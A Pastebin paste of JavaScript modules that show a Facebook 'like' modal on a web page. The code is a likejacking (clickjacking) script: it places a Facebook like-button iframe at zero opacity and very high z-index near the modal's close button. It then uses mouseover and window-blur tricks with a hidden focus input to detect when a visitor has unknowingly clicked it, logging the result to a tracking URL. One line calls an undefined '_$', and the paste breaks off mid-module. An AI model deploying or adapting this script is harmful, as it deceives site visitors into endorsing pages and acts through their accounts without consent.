daily pastebin goal
71%
SHARE
TWEET

Untitled

a guest Jun 6th, 2014 462 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. require(['modalWindow', 'fb', 'itrack', 'fblopts', 'jquery'], function (a, b, c, d, $) {
  2.     if (typeof $ !== undefined) {
  3.         $ = jQuery
  4.     }
  5.     a.init();
  6.     b.init(function (r) {
  7.         if (r) {
  8.             var f = b._iframe();
  9.             $('#FBCOMM_modal_head').append(f);
  10.             c.init($('#FBCOMM_modal_head'));
  11.             if (d.modalTiming !== 0) {
  12.                 setTimeout(function () {
  13.                     a._show();
  14.                     window.FB.XFBML.parse(document.getElementById('FBCOMM_iframe')[0])
  15.                 }, d.modalTiming * 1000)
  16.             } else {
  17.                 a._show();
  18.                 window.FB.XFBML.parse(document.getElementById('FBCOMM_iframe')[0])
  19.             }
  20.         }
  21.     })
  22. });
  23. define('fb', ['facebook', 'fblopts', 'modalWindow', 'jquery'], function (e, f, g, $) {
  24.     if (typeof $ !== undefined) {
  25.         $ = jQuery
  26.     }
  27.     return {
  28.         _status: false,
  29.         init: function (c) {
  30.             var d = this;
  31.             e.init({
  32.                 appId: f.appId,
  33.                 status: true,
  34.                 xfbml: true,
  35.                 version: 'v2.0'
  36.             });
  37.             e.getLoginStatus(function (r) {
  38.                 d._status = (r.status === "connected" || r.status === "not_authorized") ? true : false;
  39.                 $(window).trigger('fb.status', [d._status]);
  40.                 if (d._status) {
  41.                     e.Event.subscribe("edge.create", function (a, b) {
  42.                         d._eventHandler(a, b)
  43.                     })
  44.                 }
  45.                 c(d._status)
  46.             }, true)
  47.         },
  48.         _iframe: function () {
  49.             var a = $('<a/>').attr({
  50.                 'id': 'FBCOMM_iframe',
  51.                 'title': '<3'
  52.             }).addClass(f.fbopts.cl).css({
  53.                 overflow: 'hidden',
  54.                 position: 'absolute',
  55.                 display: 'block',
  56.                 zIndex: '12500000',
  57.                 opacity: 0
  58.             }).css(f.fbopts.css);
  59.             var b = $('<div/>').addClass(f.fbopts.cl).attr(f.fbopts.attr);
  60.             if (f.link.linkType === "2") {
  61.                 b.attr('data-href', window.location.href)
  62.             }
  63.             b.appendTo(a);
  64.             return a
  65.         },
  66.         _eventHandler: function (a, b) {
  67.             console.log(a);
  68.             if (a === f.link.link || a === f.link.link + "/" || (f.link.linkType === "2" && (a === window.location.href || a === window.location.href + '/'))) {
  69.                 $(window).trigger('fb.like', [a]);
  70.                 require('fb').trackAction(1);
  71.                 require('modalWindow')._destroy()
  72.             }
  73.         },
  74.         trackAction: function (a) {
  75.             if (typeof window.ftid !== "undefined") {
  76.                 clearTimeout(window.ftid)
  77.             }
  78.             var b = f.trackUrl + "?plugin=likes&type=" + a + "&link=" + f.link.id + "&time=" + new Date().getTime();
  79.             $('<img/>').load(b, function () {
  80.                 $(window).trigger('fb.track', [a])
  81.             })
  82.         }
  83.     }
  84. });
  85. define('modalWindow', ['jquery', 'underscore', 'fblopts', 'fb'], function ($, _, e, f) {
  86.     if (typeof $ !== undefined) {
  87.         $ = jQuery
  88.     }
  89.     return {
  90.         overlay: null,
  91.         modal: null,
  92.         init: function () {
  93.             var a = this;
  94.             this.overlay = this._overlay();
  95.             this.modal = this._box();
  96.             $(window).resize(function () {
  97.                 a._resize()
  98.             })
  99.         },
  100.         _box: function () {
  101.             var a = this,
  102.                 w = e.modalWidth + 'px',
  103.                 m = -(parseInt(e.modalWidth) / 2);
  104.             var m = $('<div/>').attr('id', 'FBCOMM_modal').css({
  105.                 zIndex: e.zIndex + 1,
  106.                 display: 'none',
  107.                 backgroundColor: e.bodyBgColor,
  108.                 borderRadius: '7px',
  109.                 boxShadow: '2px 2px 14px 0 rgba(0, 0, 0, 0.17)',
  110.                 boxSizing: 'content-box',
  111.                 fontFamily: 'Verdana',
  112.                 minWidth: '200px',
  113.                 width: w,
  114.                 marginLeft: m + 'px',
  115.                 position: 'fixed',
  116.                 left: '50%',
  117.                 top: '30%'
  118.             });
  119.             var h = $('<div/>').attr('id', 'FBCOMM_modal_head').css({
  120.                 boxSizing: 'content-box',
  121.                 borderRadius: '7px 7px 0 0',
  122.                 position: 'relative',
  123.                 padding: '10px',
  124.                 height: '20px',
  125.                 backgroundColor: e.headBgColor,
  126.                 userSelect: 'none'
  127.             }).html('<h3 style="text-align:left;text-transform:none;float:left;padding:0px;line-height:19px;float:left;font-size:15px;font-weight:normal;color:' + e.titleColor + ';margin:0px;">' + e.title + '</h3>');
  128.             var c = $('<a/>').css({
  129.                 position: 'absolute',
  130.                 display: 'block',
  131.                 color: '#000',
  132.                 right: '-11px',
  133.                 top: '-11px',
  134.                 width: '29px',
  135.                 height: '29px',
  136.                 cursor: 'pointer',
  137.                 textDecoration: 'none',
  138.                 backgroundImage: "url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB0AAAAdCAYAAABWk2cPAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NjAwNTJERjZEQjUzMTFFM0ExRDlDMDg3NDczNTE0QzYiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NjAwNTJERjdEQjUzMTFFM0ExRDlDMDg3NDczNTE0QzYiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2MDA1MkRGNERCNTMxMUUzQTFEOUMwODc0NzM1MTRDNiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2MDA1MkRGNURCNTMxMUUzQTFEOUMwODc0NzM1MTRDNiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PpyCF40AAAM3SURBVHjarJe9ThtBEMd99iGB7Bi64CZJQWNcwFuYV6BD4jsJeQYKSy7gFcCAIEIUFECDKaGBB4iCQNAlkYwQSpCQUezN/lY71tl4z2filUZ7O7sz//2Yr/OUUrGw5ummu7ilhCW+4SNc11SzxHdddVLKfDuySn1NA5OTk28vLy8/ViqV7aenp2+1Wu03iukZw2eeday3cp5TtwOM0/QXCoX3d3d3O6qLxnrkkLd6vFDQwOmSV1dXn6rV6k97InVycqIWFxfV+Pi4GhoaYrHpGcNnnnU05K6vrz+jp92p2wGmHh4evsrODw8P1ejoqLLvF0qsY7009KCvFTgIylUkBVDvVs3Pz0cCa6W5uTkjHwDmxIkmUHvKfn0lSwI4MTHxKkAh5AX45uZmyb6xFwT1l5eX3+lFP1g0Ozv7X4BCMzMzjTe2xuWLN3HKAW112yw4OjrqCaCQvPH9/f2OdSfPvCX+JVaay+WcCuLxeFd8KJvNNqx6ampq2NpOrA/HhonZu4RHRkbU+fn5CwDG8Jl3yZbLZQMKDniA9hNRYOJv7YQSiYQ6PT01gru7u2YsfMa0s7OzBr+V0EsDxxpULKlD2XeYY2Njzt3qEKzW19eN8MbGhspkMqpUKpkxfOZdsgQQGiHTuk/sjcRSiTRhb7qystIU9lZXV0PfFBocHFTWZv6AB2haFESxxmQy2QSaSqUiyQUw0qQodvAIuj5paEbSJ4ppf27iMYYf1vRJTV+v1x/tJqK9KbS2tmZ2u7m5ad50a2vr1W+K9Zr0tbCw0NF69/b2lO/7hk8v1ru/v+98W/Ra690R6+3TaSySn15cXLxwC4AODg6MUtlMKx0fH5t5cMRPmyISEcQF7PJDgF2AwYiks09GIpKJvcRGyZ+9jL1yC02xV7IMWUAqBbJDLwCnp6cN4PPz869isfihkWWC+ZS816t8ms/nG/n09vb2y4t86qocXntiTtixcuhUI4UZV6vRdFUjtVaDXHWwGiQ94W8EkHQ6bUDoGcNnPlgN2isNrwZdda9YddTG+q7qXleFT8bHsYkohExitb2BR8bwmbeVQccK3+vyX8YPfAf/ZaC/Uf9l/gkwAF59mfDzg5MdAAAAAElFTkSuQmCC')",
  139.                 backgroundRepeat: 'no-repeat',
  140.                 backgroundPosition: '0 0'
  141.             }).click(function () {
  142.                 f.trackAction(0);
  143.                 a._destroy()
  144.             }).appendTo(h);
  145.             var d = $('<div/>').css({
  146.                 position: 'absolute',
  147.                 right: '17px',
  148.                 top: '-6px',
  149.                 width: '20px',
  150.                 height: '20px',
  151.                 zIndex: 12500001
  152.             }).appendTo(h);
  153.             $(h).appendTo(m);
  154.             var b = $('<div/>').attr('id', 'FBCOMM_modal_body').css({
  155.                 fontSize: '13px',
  156.                 padding: '10px',
  157.                 lineHeight: '100%'
  158.             }).html(_.unescape(e.bodyText)).appendTo(m);
  159.             $('body').append(m);
  160.             return m
  161.         },
  162.         _overlay: function () {
  163.             var o = $('<div/>').attr('id', 'FBCOMM_overlay');
  164.             o.css({
  165.                 zIndex: e.zIndex,
  166.                 overflow: 'auto',
  167.                 backgroundColor: e.overlayBgColor,
  168.                 width: '100%',
  169.                 height: '100%',
  170.                 position: 'fixed',
  171.                 top: '0',
  172.                 left: '0',
  173.                 opacity: e.overlayOpacity,
  174.                 display: 'none'
  175.             });
  176.             $('body').append(o);
  177.             return o
  178.         },
  179.         _resize: function () {},
  180.         _show: function () {
  181.             var o = this.overlay !== null ? this.overlay : $('#FBCOMM_overlay'),
  182.                 m = this.modal !== null ? this.modal : $('#FBCOMM_modal');
  183.             o.show();
  184.             m.show()
  185.         },
  186.         _hide: function () {
  187.             var o = this.overlay !== null ? this.overlay : $('#FBCOMM_overlay'),
  188.                 m = this.modal !== null ? this.modal : $('#FBCOMM_modal');
  189.             o.hide();
  190.             m.css("left", "-9999px")
  191.         },
  192.         _destroy: function () {
  193.             var o = this.overlay !== null ? this.overlay : $('#FBCOMM_overlay'),
  194.                 m = this.modal !== null ? this.modal : $('#FBCOMM_modal');
  195.             o.remove();
  196.             m.remove()
  197.         }
  198.     }
  199. });
  200. define('itrack', ['jquery', 'modalWindow'], function ($, c) {
  201.     if (typeof $ !== undefined) {
  202.         $ = jQuery
  203.     }
  204.     return {
  205.         focusRetriever: null,
  206.         focusRetrieved: false,
  207.         onSubmit: false,
  208.         onEdit: false,
  209.         clickEdit: false,
  210.         init: function (a) {
  211.             var b = this;
  212.             $('body').append('<div style="position:fixed; top:0; left:0; overflow:hidden;"><input tabindex="0" style="position:absolute; left:-300px;" type="text" value="" id="focus_retriever" /></div>');
  213.             this.focusRetriever = $('#focus_retriever');
  214.             $(a).on('mouseover', 'iframe', function (e) {
  215.                 b.onSubmit = true
  216.             }).on('mouseout', 'iframe', function (e) {
  217.                 b.focusRetriever.focus();
  218.                 b.onSubmit = false
  219.             });
  220.             if (!!('ontouchstart' in window)) {
  221.                 function checkFocus() {
  222.                     if (document.activeElement === $('#FBCOMM_iframe iframe')[0]) {
  223.                         b.onSubmit = true;
  224.                         clearInterval(focInt);
  225.                         b.windowLoseFocus()
  226.                     } else {
  227.                         b.focusRetriever.focus();
  228.                         b.onSubmit = false
  229.                     }
  230.                 }
  231.                 focInt = window.setInterval(checkFocus, 100)
  232.             }
  233.             $(window).blur(function () {
  234.                 b.windowLoseFocus()
  235.             });
  236.             $(document).mousemove(function () {
  237.                 if (document.activeElement && document.activeElement.tagName === 'IFRAME') {
  238.                     _$(window).focus();
  239.                     b.focusRetriever.focus();
  240.                     b.focusRetrieved = true
  241.                 }
  242.             })
  243.         },
  244.         windowLoseFocus: function () {
  245.             if (this.onSubmit) {
  246.                 setTimeout(function () {
  247.                     c._hide();
  248.                     if (typeof window.ftid === "undefined") {
  249.                         window.ftid = setTimeout(function () {
  250.                             require('fb').trackAction(0)
  251.                         }, 3500)
  252.                     }
  253.                 }, 300)
  254.             }
  255.         }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top